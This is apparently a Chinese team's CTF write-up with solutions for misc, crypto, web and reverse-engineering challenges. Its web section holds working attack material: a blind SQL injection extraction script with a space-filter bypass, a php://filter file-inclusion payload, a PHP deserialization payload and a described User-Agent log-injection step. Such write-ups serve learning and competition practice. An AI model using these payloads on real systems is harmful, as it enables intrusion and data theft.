所有做出的题解都放出来了,本来想先研究python那题再发的。。结果没出来
一家人整整齐齐 & 二进制爷爷,一题进复赛
签到
gif分解帧,再看不同色域通道。得到flag
sudo
做对九宫格3次,在github上找到了九宫格算法
import numpy as np
from pwn import *
import time
def solve(m):
if isinstance(m, list):
m = np.array(m)
elif isinstance(m, str):
m = np.loadtxt(m, dtype=np.int, delimiter=",")
rg = np.arange(m.shape[0]+1)
while True:
mt = m.copy()
while True:
d = []
d_len = []
for i in range(m.shape[0]):
for j in range(m.shape[1]):
if mt[i, j] == 0:
possibles = np.setdiff1d(rg, np.union1d(np.union1d(mt[i, :], mt[:, j]), mt[3*(i//3):3*(i//3+1), 3*(j//3):3*(j//3+1)]))
d.append([i, j, possibles])
d_len.append(len(possibles))
if len(d) == 0:
break
idx = np.argmin(d_len)
i, j, p = d[idx]
if len(p) > 0:
num = np.random.choice(p)
else:
break
mt[i, j] = num
if len(d) == 0:
break
if np.all(mt != 0):
break
print("\nTrail:\n", mt)
return mt
def lllllll():
str1=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
str1+=p.recvline()
p.recvline()
p.recvline()
print(str1)
dataline = []
data = str1.split("\n")
# print(data)
for a in data:
pp = a.split(" ")
# print(pp)
pp.remove('')
#print(pp)
if (pp != []):
for i in range(0, 9):
if (pp[i] == '#'):
#print(pp[i])
pp[i] = '0'
pp[i] = int(pp[i])
# print(pp)
dataline.append(pp)
print(dataline)
result=solve(dataline)
s=''
#solve = solve.tostring()
for i in range(0,9):
for j in range(0,9):
s+=str(int(result[i][j]))
#print(solve[i][j]),
print(s)
p.sendline(s)
str1=''
time.sleep(3)
if __name__ == "__main__":
p=remote("47.93.204.245","12000")
i=0
while(i<3):
lllllll()
i+=1
p.interactive()
熟悉的解密
base64隐写和tea算法
import re
path = './1.txt'
b64char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open(path, 'r')as f:
cipher = [i.strip() for i in f.readlines()]
plaintext = ''
for i in cipher:
if i[-2] == '=': # There are 4-bit hidden info while end with two '='
bin_message = bin(b64char.index(i[-3]))[2:].zfill(4)
plaintext += bin_message[-4:]
elif i[-1] == '=': # There are 2-bit hidden info while end with one '='
bin_message = bin(b64char.index(i[-2]))[2:].zfill(2)
plaintext += bin_message[-2:]
plaintext = re.findall('.{8}', plaintext) # 8bits/group
plaintext = ''.join([chr(int(i,2)) for i in plaintext])
print plaintext
#include <stdio.h>
#include <stdint.h>
//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
//#cipher = [[4018289233L, 2950320151L],
//[1771827478L, 493980876L], [1863284879L, 1137797599L],
//[2759701525L, 3957885055L], [2600866805L, 78850724L]]
uint32_t v[2] = { 4018289233,2950320151}, //这里要两对两对的做
k[4] = { 11,22,33,44 };
decrypt(v, k);
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
printf("解密后的数据:%x%x\n", v[0], v[1]);
return 0;
}
WEB部分
easiestSQLI
测试一下发现是数字型的,过滤了空格,用括号替换一下,然后逐个测试字符即可
import requests
import string
import re
r = requests.session()
url = 'http://eci-2ze2wcynh47kqz8clurh.cloudeci1.ichunqiu.com//?id=(mid((select(flag)from(flag)),{0},1)=char({1}))'
strings = string.printable
for i in range(42):
k = i + 1
for c in strings:
res = r.get(url.format(k,ord(j)))
if re.findall(r'YES~',res.content.decode()):
print(c,end='')
break
文件包含绕过
利用伪协议,发现一般的过滤器没有办法,然后找了一下php://filter的其他操作,发现可以用这个协议来获取字符,得到的结果每两个逆序一下即可
payload:
?filename=php://filter/convert.iconv.faUCS-2LE.UCS-2BE/resource=flag.php
Soitgoes
文件包含拿一下源码
类文件在try.php里面,传参点在index,发现类中的属性有随机生成的并进行比较,利用引用赋值绕过。
<?php
class Seri{
public $alize;
public function __construct($alize) {
$this->alize = $alize;
}
public function __destruct(){
$this->alize->getFlag();
}
}
class Flag{
public $f;
public $t1;
public $t2;
function __construct($file){
echo "Another construction!!";
$this->f = $file;
$this->t1 = $this->t2 = md5(rand(1,10000));
}
public function getFlag(){
$this->t2 = md5(rand(1,10000));
echo $this->t1;
echo $this->t2;
if($this->t1 === $this->t2)
{
if(isset($this->f)){
echo @highlight_file($this->f,true);
}
}
}
}
$b=new Flag('flag.php');
$b->t1=&$b->t2;
$a=new Seri($b);
echo(serialize($a));
?>
inclusion
考点是参数注入,下面是接替思路
根据提示.index.php.swp获取源码,审计一下
发现X-Forwarded-For头可以作为文件夹名称,这参数点可控
关键代码
file_put_contents('res',print_r($_SERVER,true));
发现可以利用日志执行/get_flag,本地调试发现可以返回一系列信息,选择User-agent进行注入
逆向
RE是些什么神仙题啊
js那个好像是KCTF的原题 已经恢复OPCODE了但是时间不够了,还有一个是迷宫问题?
就做了个APK而且困难重重,我直接裂开
夜神模拟器跑一下
首先先查一下看是不是有壳加固
好像没有
用 jadx 分析一波
大致看了一下abc 三个函数无非是HEx转化啥的
system.out.println打印出的结果也是加密的
9SKj8BfvJD5PcdH+Rh7TIbXwgpC/Nntiq62rWUEaAzQ3ZyVFG4mLoY0l1xOeMkus
这时就卡住了 然后看了一会PWN 发现不会又回来了
之前做网鼎杯还是啥我记得有一个加密函数在NATIVE层的
用JEB导出libnative.so然后用IDA分析
细心搜索发现关键函数
看了一下a 函数 好像是生成二叉树,我数据结构都快忘了,又花了一些时间复习。。或许这就是菜鸡吧
之后进行中序遍历和后序遍历,比对两个字符串,如果正确,先序遍历应该就是flag
已知中序遍历结果和后续遍历 参考 https://blog.csdn.net/BigData_Mining/article/details/81076069
00235CFPaeefijlmnrwz
020C5PaeeFlmnjzwrif3
算出前续遍历
3020fF5CeaPeirjnmlwz
我太菜了 这题花了太多时间
quickjs 那题已经参考KCTF那题还原opcode了 没时间了 QAQ
ZUC
安装gmssl一把梭,就出一个简单cry是看不起cry吗?